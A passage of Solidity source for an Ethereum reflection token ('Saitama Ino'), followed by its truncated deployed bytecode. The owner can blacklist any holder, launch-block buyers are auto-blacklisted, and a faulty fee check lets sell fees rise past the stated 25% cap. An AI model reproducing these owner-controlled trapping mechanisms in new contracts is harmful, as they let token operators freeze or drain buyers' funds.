uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x88015f8485a51675fF7A5585fc4ccd4765166659);//
address payable private _marketingAddress = payable(0x88015f8485a51675fF7A5585fc4ccd4765166659);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //
uint256 public _maxWalletSize = 20000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function EnableTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b806374010ece146104555780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103c15780636fc3eaec146103ea57806370a0823114610401578063715018a61461043e576101d7565b80632fd689e314610317578063313ce5671461034257806349bd5a5e1461036d5780636b99905314610398576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd146102985780631d97b7cd146102c357806323b872dd146102da576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906131a1565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b6040516102279190613667565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613101565b610857565b6040516102649190613631565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f919061364c565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b6040516102ba91906138a9565b60405180910390f35b3480156102cf57600080fd5b506102d86108ab565b005b3480156102e657600080fd5b5061030160048036038101906102fc91906130ae565b610964565b60405161030e9190613631565b60405180910390f35b34801561032357600080fd5b5061032c610a96565b60405161033991906138a9565b60405180910390f35b34801561034e57600080fd5b50610357610a9c565b604051610364919061391e565b60405180910390f35b34801561037957600080fd5b50610382610aa5565b60405161038f9190613616565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190613014565b610acb565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906131ea565b610bbb565b005b3480156103f657600080fd5b506103ff610c6c565b005b34801561040d57600080fd5b5061042860048036038101906104239190613014565b610d3d565b60405161043591906138a9565b60405180910390f35b34801561044a57600080fd5b50610453610d8e565b005b34801561046157600080fd5b5061047c60048036038101906104779190613217565b610ee1565b005b34801561048a57600080fd5b50610493610fd8565b6040516104a091906138a9565b60405180910390f35b3480156104b557600080fd5b506104be610fde565b6040516104cb9190613616565b60405180910390f35b3480156104e057600080fd5b506104e9611007565b6040516104f691906138a9565b60405180910390f35b34801561050b57600080fd5b5061051461100d565b6040516105219190613667565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c9190613217565b61104a565b005b34801561055f57600080fd5b5061057a60048036038101906105759190613244565b6110e9565b005b34801561058857600080fd5b506105a3600480360381019061059e9190613101565b611212565b6040516105b09190613631565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190613014565b611230565b6040516105ed9190613631565b60405180910390f35b34801561060257600080fd5b5061060b611250565b005b34801561061957600080fd5b50610634600480360381019061062f9190613141565b611329565b005b34801561064257600080fd5b5061064b611463565b60405161065891906138a9565b60405180910390f35b34801561066d57600080fd5b506106886004803603810190610683919061306e565b611469565b60405161069591906138a9565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c09190613217565b6114f0565b005b3480156106d357600080fd5b506106ee60048036038101906106e99190613014565b6115e7565b005b6106f86117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906137c9565b60405180910390fd5b60005b8151811015610816576001601160008484815181106107aa576107a9613c9c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613bf5565b915050610788565b5050565b60606040518060400160405280600b81526020017f53616974616d6120496e6f000000000000000000000000000000000000000000815250905090565b600061086b6108646117a9565b84846117b1565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6108b36117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906137c9565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b600061097184848461197c565b6005600061097d6117a9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a8b57610a8a846109d56117a9565b610a858560405180606001604052806028815260200161421160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a3b6117a9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123509092919063ffffffff16565b6117b1565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad36117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b57906137c9565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc36117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c47906137c9565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cad6117a9565b73ffffffffffffffffffffffffffffffffffffffff161480610d235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0b6117a9565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2c57600080fd5b6000479050610d3a816123b4565b50565b6000610d87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124af565b9050919050565b610d966117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a906137c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ee96117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d906137c9565b60405180910390fd5b6103e8670de0b6b3a7640000610f8c9190613a35565b811015610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc590613889565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600a81526020017f53414954414d41494e4f00000000000000000000000000000000000000000000815250905090565b6110526117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906137c9565b60405180910390fd5b8060198190555050565b6110f16117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611175906137c9565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111a891906139df565b9050600083866111b891906139df565b90506019821115806111cb575060198111155b61120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120190613789565b60405180910390fd5b505050505050565b600061122661121f6117a9565b848461197c565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112916117a9565b73ffffffffffffffffffffffffffffffffffffffff1614806113075750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112ef6117a9565b73ffffffffffffffffffffffffffffffffffffffff16145b61131057600080fd5b600061131b30610d3d565b90506113268161251d565b50565b6113316117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b5906137c9565b60405180910390fd5b60005b8383905081101561145d5781600560008686858181106113e4576113e3613c9c565b5b90506020020160208101906113f99190613014565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145590613bf5565b9150506113c1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114f86117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c906137c9565b60405180910390fd5b6103e8670de0b6b3a764000061159b9190613a35565b8110156115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d490613869565b60405180910390fd5b8060188190555050565b6115ef6117a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611673906137c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e390613709565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613849565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188890613729565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161196f91906138a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390613809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5390613689565b60405180910390fd5b60008111611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a96906137e9565b60405180910390fd5b611aa7610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b155750611ae5610fde565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561204f57601660149054906101000a900460ff16611ba457611b36610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9a906136a9565b60405180910390fd5b5b601754811115611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be0906136e9565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c8d5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc390613749565b60405180910390fd5b6008544311158015611d2b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d855750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dbd57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e1b576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ec85760185481611e7d84610d3d565b611e8791906139df565b10611ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebe90613829565b60405180910390fd5b5b6000611ed330610d3d565b9050600060195482101590506017548210611eee5760175491505b808015611f085750601660159054906101000a900460ff16155b8015611f625750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f78575060168054906101000a900460ff165b8015611fce5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120245750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561204c576120328261251d565b6000479050600081111561204a57612049476123b4565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121a95750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121a85750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121b7576000905061233e565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122625750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227a57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123255750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561233d57600b54600d81905550600c54600e819055505b5b61234a848484846127a5565b50505050565b6000838311158290612398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238f9190613667565b60405180910390fd5b50600083856123a79190613ac0565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124046002846127d290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561242f573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124806002846127d290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ab573d6000803e3d6000fd5b5050565b60006006548211156124f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ed906136c9565b60405180910390fd5b600061250061281c565b905061251581846127d290919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561255557612554613ccb565b5b6040519080825280602002602001820160405280156125835781602001602082028036833780820191505090505b509050308160008151811061259b5761259a613c9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561263d57600080fd5b505afa158015612651573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126759190613041565b8160018151811061268957612688613c9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b1565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127549594939291906138c4565b600060405180830381600087803b15801561276e57600080fd5b505af1158015612782573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127b3576127b2612847565b5b6127be84848461288a565b806127cc576127cb612a55565b5b50505050565b600061281483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a69565b905092915050565b6000806000612829612acc565b9150915061284081836127d290919063ffffffff16565b9250505090565b6000600d5414801561285b57506000600e54145b1561286557612888565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061289c87612b2b565b9550955095509550955095506128fa86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061298f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129db81612c3b565b6129e58483612cf8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a4291906138a9565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa79190613667565b60405180910390fd5b5060008385612abf9190613a35565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612b00670de0b6b3a76400006006546127d290919063ffffffff16565b821015612b1e57600654670de0b6b3a764000093509350